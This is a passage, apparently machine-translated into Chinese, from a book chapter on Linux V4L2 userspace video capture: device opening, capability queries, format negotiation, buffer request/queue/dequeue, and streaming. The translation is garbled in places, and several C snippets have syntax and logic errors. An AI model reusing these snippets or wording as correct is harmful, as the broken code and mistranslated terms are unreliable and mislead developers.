-/* queueing N buffers */ -int ioctl(int fd, VIDIOC_QBUF, struct v4l2_buffer *argp) -/* start streaming */ -int ioctl(int fd, VIDIOC_STREAMON, const int *argp) -read_loop: (for i=0; I < N; i++) -    /* Dequeue buffer i */ -    int ioctl(int fd, VIDIOC_DQBUF, struct v4l2_buffer *argp) -    process_buffer(i) -    /* Requeue buffer i */ -    int ioctl(int fd, VIDIOC_QBUF, struct v4l2_buffer *argp) -end_loop -    releases_memories() -    close() -``` - -前面的序列将作为在用户空间处理 V4L2API 的指导。 - -请注意,`ioctl`系统调用在`errno = EINTR`时返回`-1`值是可能的。 在这种情况下,这并不意味着出现错误,而只是系统调用被中断,在这种情况下,应该再次尝试。 为了解决这个(罕见但可能的)问题,我们可以考虑为`ioctl`编写我们自己的包装器,如下所示: - -```sh -static int xioctl(int fh, int request, void *arg) -{ -        int r; -        do { -                r = ioctl(fh, request, arg); -        } while (-1 == r && EINTR == errno); -        return r; -} -``` - -现在我们已经完成了视频抓取序列概述,我们可以通过格式协商确定从设备打开到关闭进行视频流传输需要执行哪些步骤。 现在我们可以跳到代码,从设备打开开始,一切都从这里开始。 - -# 视频设备开机及物业管理 - -驱动公开与其负责的视频接口对应的`/dev/`目录中的节点条目。 这些文件节点对应于捕获设备的`/dev/videoX`个特殊文件(在我们的示例中)。 在与视频设备进行任何交互之前,应用必须打开适当的文件节点。 为此,它使用`open()`系统调用,该调用将返回一个文件描述符,该文件描述符将成为发送到设备的任何命令的入口点,如下例所示: - -```sh -static const char *dev_name = "/dev/video0"; -fd = open (dev_name, O_RDWR); -if (fd == -1) { -    perror("Failed to open capture device\n"); -    return -1; -} -``` - -前面的代码片断是阻塞模式下的开口。 如果在尝试出列时没有就绪缓冲区,则将`O_NONBLOCK`传递给`open()`可以防止应用被阻塞。 使用完视频设备后,应使用`close()`系统调用将其关闭: - -```sh -close (fd); -``` - -在我们能够打开视频设备之后,我们就可以开始与它进行交互了。 一般来说,视频设备打开后的第一个动作就是询问它的能力,通过它我们可以使它以最优的方式运行。 - -## 查询设备功能 - -通常会查询设备的功能,以确保它支持我们需要使用的模式。 您可以使用`VIDIOC_QUERYCAP`ioctl 命令执行此操作。 为了实现这一点,应用传递一个`struct v4l2_capability`结构(在`include/uapi/linux/videodev2.h`中定义),该结构将由驱动填充。 此结构有一个必须检查的`.capabilities`字段。 该字段包含整个设备的功能。 以下摘录自内核源代码,显示了可能的值: - -```sh -/* Values for 'capabilities' field */ -#define V4L2_CAP_VIDEO_CAPTURE 0x00000001 /*video capture device*/ #define V4L2_CAP_VIDEO_OUTPUT 0x00000002  /*video output device*/ #define V4L2_CAP_VIDEO_OVERLAY 0x00000004 /*Can do video overlay*/ [...] /* VBI device skipped */ -/* video capture device that supports multiplanar formats */#define V4L2_CAP_VIDEO_CAPTURE_MPLANE 0x00001000 -/* video output device that supports multiplanar formats */ #define V4L2_CAP_VIDEO_OUTPUT_MPLANE 0x00002000 -/* mem-to-mem device that supports multiplanar formats */#define V4L2_CAP_VIDEO_M2M_MPLANE 0x00004000 -/* Is a video mem-to-mem device */#define V4L2_CAP_VIDEO_M2M 0x00008000 -[...] /* radio, tunner and sdr devices skipped */ -#define V4L2_CAP_READWRITE 0x01000000 /*read/write systemcalls */ #define V4L2_CAP_ASYNCIO 0x02000000 /* async I/O */ -#define V4L2_CAP_STREAMING 0x04000000 /* streaming I/O ioctls */ #define V4L2_CAP_TOUCH 0x10000000 /* Is a touch device */ -``` - -以下代码块显示了一个常见用例,该用例显示了如何使用`VIDIOC_QUERYCAP`ioctl 从代码中查询设备功能: - -```sh -#include -[...] -struct v4l2_capability cap; -memset(&cap, 0, sizeof(cap)); -if (-1 == xioctl(fd, VIDIOC_QUERYCAP, &cap)) { -    if (EINVAL == errno) { -        fprintf(stderr, "%s is no V4L2 device\n", dev_name); -        exit(EXIT_FAILURE); -    } else { -        errno_exit("VIDIOC_QUERYCAP" -    } -} -``` - -在前面的代码中,由于`memset()`,`struct v4l2_capability`在被赋予`ioctl`命令之前首先被置零。 在此步骤中,如果没有发生错误,则我们的`cap`变量现在包含设备功能。 您可以使用以下内容检查设备类型和 I/O 方法: - -```sh -if (!(cap.capabilities & V4L2_CAP_VIDEO_CAPTURE)) { -    fprintf(stderr, "%s is not a video capture device\n",             dev_name); -    exit(EXIT_FAILURE); -} -if (!(cap.capabilities & V4L2_CAP_READWRITE)) -    fprintf(stderr, "%s does not support read i/o\n",             dev_name); -/* Check whether USERPTR and/or MMAP method are supported */ -if (!(cap.capabilities & V4L2_CAP_STREAMING)) -    fprintf(stderr, "%s does not support streaming i/o\n",             dev_name); -/* Check whether driver support read/write i/o */ -if (!(cap.capabilities & V4L2_CAP_READWRITE)) -    fprintf (stderr, "%s does not support read i/o\n",              dev_name); -``` - -您可能已经注意到,在使用`cap`变量之前,我们首先将其置零。 最好始终清除将提供给 V4L2API 的参数,以避免内容陈旧。 然后,让我们定义一个宏(比方说`CLEAR`),它将把作为参数给定的任何变量置零,并在本章的其余部分中使用它: - -```sh -#define CLEAR(x) memset(&(x), 0, sizeof(x)) -``` - -现在,我们已经完成了对视频设备功能的查询。 这使我们可以根据需要配置设备和调整图像格式。 通过协商合适的图像格式,我们可以利用视频设备,正如我们将在 next 部分中看到的那样。 - -# 缓冲区管理 - -您应该考虑在 V4L2 中维护两个缓冲队列:一个用于驱动(称为**输入队列**)和一个用于用户(称为**输出队列**)。 缓冲区由用户空间应用排队到驱动队列中,以便填充数据(应用为此使用`VIDIOC_QBUF`ioctl)。 驱动按照缓冲区排队的顺序填充缓冲区。 填充后,每个缓冲区将从输入队列移出,放入输出队列(即用户队列)。 - -每当用户应用调用`VIDIOC_DQBUF`以使缓冲区出列时,都会在输出队列中查找该缓冲区。 如果它在其中,缓冲区将出列并*推送*到用户应用;否则,应用将等待,直到缓冲区被填满。 用户使用完缓冲区后,必须对该缓冲区调用`VIDIOC_QBUF`,以便将其重新排入输入队列,以便可以再次填充。 - -驱动初始化后,应用调用`VIDIOC_REQBUFS`ioctl 来设置需要使用的缓冲区数量。 一旦授权,应用就会使用`VIDIOC_QBUF`将所有缓冲区排队,然后调用`VIDIOC_STREAMON`ioctl。 然后,驱动自行前进,填满所有排队的缓冲区。 如果没有更多的排队缓冲区,则驱动将等待应用将缓冲区排队。 如果出现这种情况,则意味着某些帧在捕获本身中丢失。 - -## 图像(缓冲区)格式 - -在确保设备属于正确类型并支持其可以使用的模式后,应用必须协商其所需的视频格式。 应用必须确保视频设备配置为以应用可以处理的格式发送视频帧。 在开始抓取和收集数据(或视频帧)之前,它必须这样做。 V4L2API 使用`struct v4l2_format`来表示缓冲区格式,无论设备的类型是什么。 该结构定义如下: - -```sh -struct v4l2_format { - u32 type; - union { -  struct v4l2_pix_format pix; /* V4L2_BUF_TYPE_VIDEO_CAPTURE */     -  struct v4l2_pix_format_mplane pix_mp; /* _CAPTURE_MPLANE */ -  struct v4l2_window win; /* V4L2_BUF_TYPE_VIDEO_OVERLAY */ -  struct v4l2_vbi_format vbi; /* V4L2_BUF_TYPE_VBI_CAPTURE */ -  struct v4l2_sliced_vbi_format sliced;/*_SLICED_VBI_CAPTURE */ -  struct v4l2_sdr_format sdr;   /* V4L2_BUF_TYPE_SDR_CAPTURE */ -  struct v4l2_meta_format meta;/* V4L2_BUF_TYPE_META_CAPTURE */ -        [...] -    } fmt; -}; -``` - -在前面的结构中,`type`字段表示数据流的类型,应该由应用设置。 根据其值的不同,`fmt`字段将具有适当的类型。 在我们的例子中,`type`必须是`V4L2_BUF_TYPE_VIDEO_CAPTURE`,因为我们处理的是视频捕获设备。 然后,`fmt`将为`struct v4l2_pix_format`类型。 - -重要音符 - -几乎所有(如果不是全部)直接或间接使用缓冲区的 ioctls(例如裁剪、缓冲区请求/队列/出列/查询)都需要指定缓冲区类型,这是有意义的。 我们将使用`V4L2_BUF_TYPE_VIDEO_CAPTURE`,因为它是我们设备类型的唯一选择。 缓冲区类型的整个列表都是`include/uapi/linux/videodev2.h`中定义的`enum v4l2_buf_type`类型。 你应该去看看。 - -通常,应用查询视频设备的当前格式,然后只更改感兴趣的属性,然后将新的、损坏的缓冲区格式发回视频设备。 然而,这不是强制性的。 我们在这里这样做只是为了演示如何获取或设置当前格式。 应用使用`VIDIOC_G_FMT`ioctl 命令查询当前缓冲区格式。 它必须传递一个设置了`type`字段的新(我指的是清零)`struct v4l2_format`结构。 驱动将在 ioctl 的返回路径中填充其余部分。 以下是一个示例: - -```sh -struct v4l2_format fmt; -CLEAR(fmt); -/* Get the current format */ -fmt.type = V4L2_BUF_TYPE_VIDEO_CAPTURE; -if (ioctl(fd, VIDIOC_G_FMT, &fmt)) { -    printf("Getting format failed\n"); -    exit(2); -} -``` - -获得当前格式后,我们可以更改相关属性并将新格式发回设备。 这些属性可以是像素格式、每个颜色分量的存储器组织、以及每个场的隔行扫描捕获存储器组织。 我们还可以描述缓冲区的大小和间距。 设备支持的常见(但不是唯一)像素格式如下: - -* `V4L2_PIX_FMT_YUYV`:YUV422(交错) -* `V4L2_PIX_FMT_NV12`:YUV420(半平面) -* `V4L2_PIX_FMT_NV16`:YUV422(半平面) -* `V4L2_PIX_FMT_RGB24`:RGB888(包装) - -现在,让我们编写更改所需属性的代码片段。 但是,将新格式发送到视频设备需要使用新的 ioctl 命令-即`VIDIOC_S_FMT`: - -```sh -#define WIDTH 1920 -#define HEIGHT 1080 -#define PIXFMT V4L2_PIX_FMT_YUV420 -/* Changing required properties and set the format */ fmt.fmt.pix.width = WIDTH; -fmt.fmt.pix.height = HEIGHT; -fmt.fmt.pix.bytesperline = fmt.fmt.pix.width * 2u; -fmt.fmt.pix.sizeimage = fmt.fmt.pix.bytesperline * fmt.fmt.pix.height; -fmt.fmt.pix.colorspace = V4L2_COLORSPACE_REC709; -fmt.fmt.pix.field = V4L2_FIELD_ANY; -fmt.fmt.pix.pixelformat = PIXFMT; -fmt.type = V4L2_BUF_TYPE_VIDEO_CAPTURE; -if (xioctl(fd, VIDIOC_S_FMT, &fmt)) { -    printf("Setting format failed\n"); -    exit(2); -} -``` - -重要音符 - -我们本可以在不需要当前格式的情况下使用前面的代码。 - -IOCTL 可能会成功。 但是,这并不意味着您的参数已按原样应用。 默认情况下,设备可能不支持图像宽度和高度的所有组合,甚至不支持所需的像素格式。 在这种情况下,驱动将根据您请求的值应用其支持的最接近的值。 然后,您必须检查您的参数是否已被接受,或者授予的参数是否足够好,以便您继续操作: - -```sh -if (fmt.fmt.pix.pixelformat != PIXFMT) -   printf("Driver didn't accept our format. Can't proceed.\n"); -/* because VIDIOC_S_FMT may change width and height */ -if ((fmt.fmt.pix.width != WIDTH) ||     (fmt.fmt.pix.height != HEIGHT))      - fprintf(stderr, "Warning: driver is sending image at %dx%d\n", -            fmt.fmt.pix.width, fmt.fmt.pix.height); -``` - -我们甚至可以通过更改流参数(例如每秒的帧数)来更进一步。 我们可以通过以下方式来实现这一点: - -* 使用`VIDIOC_G_PARM`ioctl 查询视频设备的流参数。 此 ioctl 接受新的`struct v4l2_streamparm`结构及其`type`成员集作为参数。 此类型应为`enum v4l2_buf_type`值之一。 -* Checking `v4l2_streamparm.parm.capture.capability` and making sure the `V4L2_CAP_TIMEPERFRAME` flag is set. This means that the driver allows changing the capture frame rate. - - 如果是这样,我们可以(可选)使用`VIDIOC_ENUM_FRAMEINTERVALS`ioctl 来获得可能的帧间隔列表(API 使用帧间隔,它与帧速率相反)。 - -* 使用`VIDIOC_S_PARM`ioctl 并用适当的值填充`v4l2_streamparm.parm.capture.timeperframe`个成员。 该应允许设置捕获侧帧速率。 你的任务是确保你的阅读速度足够快,不会出现帧丢失。 - -以下是一个示例: - -```sh -#define FRAMERATE 30 -struct v4l2_streamparm parm; -int error; -CLEAR(parm); -parm.type = V4L2_BUF_TYPE_VIDEO_CAPTURE; -/* first query streaming parameters */ -error = xioctl(fd, VIDIOC_G_PARM, &parm); -if (!error) { -    /* Now determine if the FPS selection is supported */ -    if (parm.parm.capture.capability & V4L2_CAP_TIMEPERFRAME) { -        /* yes we can */ -        CLEAR(parm); -        parm.type = V4L2_BUF_TYPE_VIDEO_CAPTURE; -        parm.parm.capture.capturemode = 0; -        parm.parm.capture.timeperframe.numerator = 1; -        parm.parm.capture.timeperframe.denominator = FRAMERATE; -        error = xioctl(fd, VIDIOC_S_PARM, &parm); -        if (error) -            printf("Unable to set the FPS\n"); -        else -           /* once again, driver may have changed our requested -            * framerate */ -            if (FRAMERATE != -                  parm.parm.capture.timeperframe.denominator) -                printf ("fps coerced ......: from %d to %d\n", -                        FRAMERATE, -                   parm.parm.capture.timeperframe.denominator); -``` - -现在,我们可以协商图像格式并设置流参数。 下一个逻辑继续将是请求缓冲区并继续进行进一步处理。 - -## 请求缓冲区 - -完成格式准备后,就可以指示驱动分配用于存储视频帧的内存了。 `VIDIOC_REQBUFS`ioctl 就是为了实现这一点。 此 ioctl 采用新的`struct v4l2_requestbuffers`结构作为参数。 在提供给 ioctl 之前,`v4l2_requestbuffers`必须设置它的一些字段: - -* `v4l2_requestbuffers.count`:应使用要分配的内存缓冲区数量设置此成员。 此成员应设置一个值,以确保不会因为输入队列中缺少排队缓冲区而丢弃帧。 大多数情况下,`3`或`4`是正确的值。 因此,驱动可能会对请求的缓冲区数量感到不舒服。 在这种情况下,驱动将使用 ioctl 返回路径上授予的缓冲区数量设置`v4l2_requestbuffers.count`。 然后,应用应检查此值,以确保授予的值符合其需要。 -* `v4l2_requestbuffers.type`:此必须设置为`enum 4l2_buf_type`类型的视频缓冲区类型。 这里,我们再次使用`V4L2_BUF_TYPE_VIDEO_CAPTURE`。 例如,对于输出设备,这将是`V4L2_BUF_TYPE_VIDEO_OUTPUT`。 -* `v4l2_requestbuffers.memory`:这必须是可能的`enum v4l2_memory`值之一。 可能感兴趣的值有`V4L2_MEMORY_MMAP`、`V4L2_MEMORY_USERPTR`和`V4L2_MEMORY_DMABUF`。 这些都是流方法。 但是,根据此成员的值,应用可能需要执行其他任务。不幸的是,`VIDIOC_REQBUFS`命令是应用发现给定驱动支持哪些类型的流 I/O 缓冲区的唯一方法。 然后,应用可以尝试`VIDIOC_REQBUFS`个个值,并根据个值的失败或成功来调整其逻辑。 - -### 通过ffERS-VIDIOC_REQBUFS 和 MALLOC 请求用户指针 - -此步骤涉及支持流模式的驱动,特别是支持用户指针 I/O 模式。 在这里,应用通知驱动它即将分配给定数量的缓冲区: - -```sh -#define BUF_COUNT 4 -struct v4l2_requestbuffers req; CLEAR (req); -req.count = BUF_COUNT; -req.type = V4L2_BUF_TYPE_VIDEO_CAPTURE; -req.memory = V4L2_MEMORY_USERPTR; -if (-1 == xioctl (fd, VIDIOC_REQBUFS, &req)) { -    if (EINVAL == errno) -        fprintf(stderr,                 "%s does not support user pointer i/o\n", -                dev_name); -    else -        fprintf("VIDIOC_REQBUFS failed \n"); -} -``` - -然后,应用从用户空间分配缓冲存储器: - -```sh -struct buffer_addr { -    void  *start; -    size_t length; -}; -struct buffer_addr *buf_addr; -int i; -buf_addr = calloc(BUF_COUNT, sizeof (*buffer_addr)); -if (!buf_addr) { -    fprintf(stderr, "Out of memory\n"); -    exit (EXIT_FAILURE); -} -for (i = 0; i < BUF_COUNT; ++i) { -    buf_addr[i].length = buffer_size; -    buf_addr[i].start = malloc(buffer_size); -    if (!buf_addr[i].start) { -        fprintf(stderr, "Out of memory\n"); -        exit(EXIT_FAILURE); -    } -} -``` - -这是第一种类型的流,其中缓冲区在用户空间中被错误地分配给内核,以便填充视频数据:所谓的 USER 指针 I/O 模式。 还有另一种奇特的流模式,在这种模式下几乎所有事情都是从内核完成的。 W 毫不迟疑,让我们来介绍一下。 - -### 请求内存可映射 BUffer-VIDIOC_REQBUFS、VIDIOC_QUERYBUF 和 MAP - -在驱动缓冲区模式下,此 ioctl 还返回在`v4l2_requestbuffer`结构的`count`成员中分配的实际缓冲区数。 该流方法还需要个新数据结构`struct v4l2_buffer`。 在内核中的驱动分配缓冲区之后,此结构与`VIDIOC_QUERYBUFS`ioctl 一起使用,以便查询每个已分配缓冲区的物理地址,该地址可与`mmap()`系统调用一起使用。 从驱动器返回的物理地址将存储在`buffer.m.offset`中。 - -以下代码摘录指示驱动分配内存缓冲区,并检查授予的缓冲区数量: - -```sh -#define BUF_COUNT_MIN 3 -struct v4l2_requestbuffers req; CLEAR (req); -req.count = BUF_COUNT; -req.type = V4L2_BUF_TYPE_VIDEO_CAPTURE; -req.memory = V4L2_MEMORY_MMAP; -if (-1 == xioctl (fd, VIDIOC_REQBUFS, &req)) { -    if (EINVAL == errno) -        fprintf(stderr, "%s does not support memory mapping\n", -                dev_name); -    else -        fprintf("VIDIOC_REQBUFS failed \n"); -} -/* driver may have granted less than the number of buffers we - * requested let's then make sure it is not less than the - * minimum we can deal with - */ -if (req.count < BUF_COUNT_MIN) { -    fprintf(stderr, "Insufficient buffer memory on %s\n",             dev_name); -    exit (EXIT_FAILURE); -} -``` - -在此之后,应用应该调用每个分配的缓冲区上的`VIDIOC_QUERYBUF`ioctl,以获得它们的对应的物理地址,如下面的示例所示: - -```sh -struct buffer_addr { -    void *start; -    size_t length; -}; -struct buffer_addr *buf_addr; -buf_addr = calloc(BUF_COUNT, sizeof (*buffer_addr)); -if (!buf_addr) { -    fprintf (stderr, "Out of memory\n"); -    exit (EXIT_FAILURE); -} -for (i = 0; i < req.count; ++i) { -    struct v4l2_buffer buf; -    CLEAR (buf); -    buf.type = V4L2_BUF_TYPE_VIDEO_CAPTURE; -    buf.memory = V4L2_MEMORY_MMAP; buf.index = i; -    if (-1 == xioctl (fd, VIDIOC_QUERYBUF, &buf)) -        errno_exit("VIDIOC_QUERYBUF"); -    buf_addr[i].length = buf.length; -    buf_addr[i].start = -        mmap (NULL /* start anywhere */, buf.length, -              PROT_READ | PROT_WRITE /* required */, -              MAP_SHARED /* recommended */, fd, buf.m.offset); -    if (MAP_FAILED == buf_addr[i].start) -        errno_exit("mmap"); -} -``` - -为了让应用在内部跟踪每个缓冲区的内存映射(使用`mmap()`获得),我们定义了一个为每个授予的缓冲区分配的自定义数据结构`struct buffer_addr`,它将保存与该缓冲区对应的映射。 - -### 请求 DMABUF 缓冲区-VIDIOC_REQBUFS、VIDIOC_EXPBUF 和 mmap - -DMABUF 是,主要用于`mem2mem`设备,并引入了**导出器**和**导入器**的概念。 假设驱动**A**想要使用驱动**B**创建的缓冲区;然后我们调用**B**作为导出器,调用**A**作为缓冲区用户/导入器。 - -`export`方法指示驱动通过文件描述符将其 DMA 缓冲区导出到用户空间。 应用使用`VIDIOC_EXPBUF`ioctl 实现这一点,并需要一个新的数据结构`struct v4l2_exportbuffer`。 在此 ioctl 的返回路径上,驱动将使用与给定缓冲区相对应的文件描述符设置`v4l2_requestbuffers.md`成员。 这是一个 DMABUF 文件描述符: - -```sh -/* V4L2 DMABuf export */ -struct v4l2_requestbuffers req; -CLEAR (req); -req.count = BUF_COUNT; -req.type = V4L2_BUF_TYPE_VIDEO_CAPTURE; -req.memory = V4L2_MEMORY_DMABUF; -if (-1 == xioctl(fd, VIDIOC_REQBUFS, &req)) -    errno_exit ("VIDIOC_QUERYBUFS"); -``` - -应用可以将这些缓冲区作为 DMABUF 文件描述符导出,以便对它们进行内存映射以访问捕获的视频内容。 为此,应用应使用`VIDIOC_EXPBUF`ioctl。 此 ioctl 扩展了内存映射 I/O 方法,因此它仅适用于`V4L2_MEMORY_MMAP`个缓冲区。 但是,在使用`VIDIOC_EXPBUF`导出捕获缓冲区然后映射它们时,它实际上是无用的。 您应该改用`V4L2_MEMORY_MMAP`。 - -当涉及到 V4L2 输出设备时,`VIDIOC_EXPBUF`变得非常有趣。 这样,应用使用`VIDIOC_REQBUFS`ioctl 在捕获和输出设备上分配缓冲区,然后应用将输出设备的缓冲区导出为 DMABUF 文件描述符,并使用这些文件描述符在捕获设备上排队 ioctl 之前设置`v4l2_buffer.m.fd`字段。 然后,排队的缓冲器将填充其对应的缓冲器(对应于`v4l2_buffer.m.fd`的输出设备缓冲器)。 - -在下面的示例中,我们将输出设备缓冲区导出为 DMABUF 文件描述符。 这假设已经使用`VIDIOC_REQBUFS`ioctl 分配了该输出设备的缓冲器,其中`req.type`将设置为`V4L2_BUF_TYPE_VIDEO_OUTPUT`,`req.memory`设置为`V4L2_MEMORY_DMABUF`: - -```sh -int outdev_dmabuf_fd[BUF_COUNT] = {-1}; -int i; -for (i = 0; i < req.count; i++) { -    struct v4l2_exportbuffer expbuf; -    CLEAR (expbuf); -    expbuf.type = V4L2_BUF_TYPE_VIDEO_OUTPUT; -    expbuf.index = i; -    if (-1 == xioctl(fd, VIDIOC_EXPBUF, &expbuf) -        errno_exit ("VIDIOC_EXPBUF"); -    outdev_dmabuf_fd[i] = expbuf.fd; -} -``` - -现在,我们已经了解了基于 DMABUF 的流媒体,并介绍了它的相关概念。 下一个也是最后一个流方法 od 要简单得多,需要的代码更少。 让我们直奔主题吧。 - -请求读/写 I/O 内存 - -从编码的角度来看,这是更简单的流模式。 在**读/写 I/O**的情况下,除了分配应用将存储读取数据的内存位置之外,没有什么可做的,如下例所示: - -```sh -struct buffer_addr { -    void *start; -    size_t length; -}; -struct buffer_addr *buf_addr; -buf_addr = calloc(1, sizeof(*buf_addr)); -if (!buf_addr) { -    fprintf(stderr, "Out of memory\n"); -    exit(EXIT_FAILURE); -} -buf_addr[0].length = buffer_size; -buf_addr[0].start = malloc(buffer_size); -if (!buf_addr[0].start) { -    fprintf(stderr, "Out of memory\n"); -    exit(EXIT_FAILURE); -} -``` - -在前面的代码片段中,我们定义了相同的自定义数据结构`struct buffer_addr`。 但是,这里没有真正的缓冲区请求(没有使用`VIDIOC_REQBUFS`),因为还没有任何东西进入内核。 只是分配了缓冲内存,仅此而已。 - -现在,我们完成了个缓冲区请求。 下一步是将请求的缓冲区排队,以便内核可以用视频数据填充它们。 现在让我们看看如何做到这一点。 - -## 将缓冲区排队并启用流 - -在访问缓冲区并读取其数据之前,必须将该缓冲区排队。 这包括在使用流式 I/O 方法(读/写 I/O 除外)时使用缓冲区上的`VIDIOC_QBUF`ioctl。 将缓冲区排队会将该缓冲区的内存页锁定在物理内存中。 这样,这些页面就不能换出到磁盘。 请注意,这些缓冲区将保持锁定状态,直到它们出列,直到调用`VIDIOC_STREAMOFF`或`VIDIOC_REQBUFS`ioctls,或者直到设备关闭。 - -在 V4L2 上下文中,锁定缓冲区意味着将此缓冲区传递给驱动以进行硬件访问(通常为 DMA)。 如果应用访问(读/写)锁定的缓冲区,则结果未定义。 - -要将缓冲区入队,应用必须准备`struct v4l2_buffer`,`v4l2_buffer.type`、`v4l2_buffer.memory`和`v4l2_buffer.index`应根据缓冲区类型、流模式和缓冲区分配时的索引进行设置。 其他字段取决于流模式。 - -重要的个音符 - -*读/写 I/O*方法不需要排队。 - -### 素数 buffers 的概念 - -对于捕获应用,习惯上是在开始捕获并进入读取循环之前将一定数量的空缓冲区(大多数情况下是分配的缓冲区数量)入队。 这有助于提高应用的 Smoot 完整性,并防止它因为缺少填充的 buffer 而被阻塞。 这应该在分配缓冲区之后立即执行。 - -### 将用户指针蜂鸣器排队 - -要将用户指针缓冲区排队,应用必须将`v4l2_buffer.memory`成员设置为`V4L2_MEMORY_USERPTR`。 这里的特殊性是`v4l2_buffer.m.userptr`字段,该字段必须设置为先前分配的缓冲区地址,并将`v4l2_buffer.length`设置为其大小。 当使用多平面 API 时,必须使用传递的`struct v4l2_plane`数组的`m.userptr`和`length`成员: - -```sh -/* Prime buffers */ -for (i = 0; i < BUF_COUNT; ++i) { -    struct v4l2_buffer buf; -    CLEAR(buf); -    buf.type = V4L2_BUF_TYPE_VIDEO_CAPTURE; -    buf.memory = V4L2_MEMORY_USERPTR; buf.index = i; -    buf.m.userptr = (unsigned long)buf_addr[i].start; -    buf.length = buf_addr[i].length; -    if (-1 == xioctl(fd, VIDIOC_QBUF, &buf)) -        errno_exit("VIDIOC_QBUF"); -} -``` - -### 将内存可映射 BuffER 排队 - -要将内存可映射缓冲区排队,应用必须通过设置`type`、`memory`(必须是`V4L2_MEMORY_MMAP`)和`index`成员来填充`struct v4l2_buffer`,如以下摘录所示: - -```sh -/* Prime buffers */ -for (i = 0; i < BUF_COUNT; ++i) { -    struct v4l2_buffer buf; CLEAR (buf); -    buf.type = V4L2_BUF_TYPE_VIDEO_CAPTURE; -    buf.memory = V4L2_MEMORY_MMAP; -    buf.index = i; -    if (-1 == xioctl (fd, VIDIOC_QBUF, &buf)) -        errno_exit ("VIDIOC_QBUF"); -} -``` - -### 排队 DMABOF 蜂鸣器 - -要将输出设备的 DMABUF 缓冲区排队到捕获设备的 DMABUF 缓冲区中,应用应填充`struct v4l2_buffer`,将`memory`字段设置为`V4L2_MEMORY_DMABUF`,将`type`字段设置为`V4L2_BUF_TYPE_VIDEO_CAPTURE`,并将`m.fd`字段设置为与输出设备的 DMABUF 缓冲区相关联的文件描述符,如以下摘录所示: - -```sh -/* Prime buffers */ -for (i = 0; i < BUF_COUNT; ++i) { -    struct v4l2_buffer buf; CLEAR (buf); -    buf.type = V4L2_BUF_TYPE_VIDEO_CAPTURE; -    buf.memory = V4L2_MEMORY_DMABUF; buf.index = i; -    buf.m.fd = outdev_dmabuf_fd[i]; -    /* enqueue the dmabuf to capture device */ -    if (-1 == xioctl (fd, VIDIOC_QBUF, &buf)) -        errno_exit ("VIDIOC_QBUF"); -} -``` - -前面的代码摘录显示了 V4L2DMABUF 导入的工作原理。 Ioctl 中的`fd`参数是在`open()`syscall 中获得的与捕获设备相关联的文件描述符。 `outdev_dmabuf_fd`是包含输出设备的 DMABUF 文件描述符的数组。 例如,您可能想知道这如何在不是 V4L2 但与 DRM 兼容的输出设备上工作。 以下是一个简短的解释。 - -首先,DRM 子系统以依赖于驱动的方式提供 API,您可以使用这些 API 在 GPU 上分配一个(哑巴)缓冲区,该缓冲区将返回一个 gem 句柄。 DRM 还提供了`DRM_IOCTL_PRIME_HANDLE_TO_FD`ioctl,它允许通过`PRIME`将缓冲区导出到 DMABUF 文件描述符中,然后通过`drmModeAddFB2()`API 创建与该缓冲区对应的`framebuffer`对象(该对象将被读取并显示在屏幕上,或者确切地说,CRT 控制器),以便最终可以使用`drmModeSetPlane()`或`drmModeSetPlane()`API 呈现它。 然后,应用可以使用`DRM_IOCTL_PRIME_HANDLE_TO_FD`ioctl 返回的文件描述符来设置`v4l2_requestbuffers.m.fd`字段。 然后,在读取循环中,在每个`VIDIOC_DQBUF`ioctl 之后,应用可以使用`drmModeSetPlane()`API 更改平面的帧缓冲区和位置。 - -重要音符 - -**Prime**是与`GEM`集成的`drm dma-buf`接口层的名称,`GEM`是 DRM 子系统支持的内存管理器之一 - -### 启用流式处理 - -启用流类似于通知 V4L2 现在将访问*输出*队列。 应用应该使用`VIDIOC_STREAMON`来实现这一点。 以下是一个示例: - -```sh -/* Start streaming */ -int ret; -int a = V4L2_BUF_TYPE_VIDEO_CAPTURE; -ret = xioctl(capt.fd, VIDIOC_STREAMON, &a); -if (ret < 0) { -    perror("VIDIOC_STREAMON\n"); -    return -1; -} -``` - -前面的摘录很短,但它是 manatory 来启用流,如果没有流,缓冲区以后就不能出列。 - -## 出列缓冲区 - -这实际上是应用读取循环的一部分。 应用使用`VIDIOC_DQBUF`ioctl 将缓冲区出列。 只有在以前启用了流式处理的情况下,才能执行此操作。 当应用调用`VIDIOC_DQBUF`ioctl 时,它指示驱动检查**输出队列**中是否有已填满的缓冲区,如果有,则输出一个已填满的缓冲区,ioctl 立即返回。 但是,如果**输出队列**中没有缓冲区,则应用将阻塞(除非在`open()`系统调用期间设置了`O_NONBLOCK`标志),直到缓冲区排队并填满为止。 - -重要音符 - -尝试在不先将缓冲区排队的情况下将其出列是错误的,`VIDIOC_DQBUF`ioctl 应该返回`-EINVAL`。 当`O_NONBLOCK`标志被赋予`open()`函数时,当没有可用的缓冲区时,`VIDIOC_DQBUF`立即返回并返回`EAGAIN`错误代码。 - -在 buffer 出列并处理其数据后,应用必须立即再次将此缓冲区排回队列,以便可以为下一次读取重新填充它,依此类推。 - -### 将内存映射的 Bubueer 出列 - -以下是将已内存映射的缓冲区出列的示例: - -```sh -struct v4l2_buffer buf; -CLEAR (buf); -buf.type = V4L2_BUF_TYPE_VIDEO_CAPTURE; -buf.memory = V4L2_MEMORY_MMAP; -if (-1 == xioctl (fd, VIDIOC_DQBUF, &buf)) { -    switch (errno) { -    case EAGAIN: -        return 0; -    case EIO: -    default: -        errno_exit ("VIDIOC_DQBUF"); -    } -} -/* make sure the returned index is coherent with the number - * of buffers allocated */ -assert (buf.index < BUF_COUNT); -/* We use buf.index to point to the correct entry in our * buf_addr */ -process_image(buf_addr[buf.index].start); -/* Queue back this buffer again, after processing is done */ -if (-1 == xioctl (fd, VIDIOC_QBUF, &buf)) -    errno_exit ("VIDIOC_QBUF"); -``` - -这可以在循环中完成。 例如,假设您需要 200 张图像。 读取循环可能如下所示: - -```sh -#define MAXLOOPCOUNT 200 -/* Start the loop of capture */ -for (i = 0; i < MAXLOOPCOUNT; i++) { -    struct v4l2_buffer buf; -    CLEAR (buf); -    buf.type = V4L2_BUF_TYPE_VIDEO_CAPTURE; -    buf.memory = V4L2_MEMORY_MMAP; -    if (-1 == xioctl (fd, VIDIOC_DQBUF, &buf)) { -        [...] -    } -   /* Queue back this buffer again, after processing is done */ -    [...] -} -``` - -前面的 snippet 只是使用 g 循环重新实现缓冲区出列,其中计数器表示需要捕获的图像数量。 - -### 通过ffERS 将用户指针出列 - -以下是使用**用户指针**将缓冲区出列的示例: - -```sh -struct v4l2_buffer buf; int i; -CLEAR (buf); -buf.type = V4L2_BUF_TYPE_VIDEO_CAPTURE; -buf.memory = 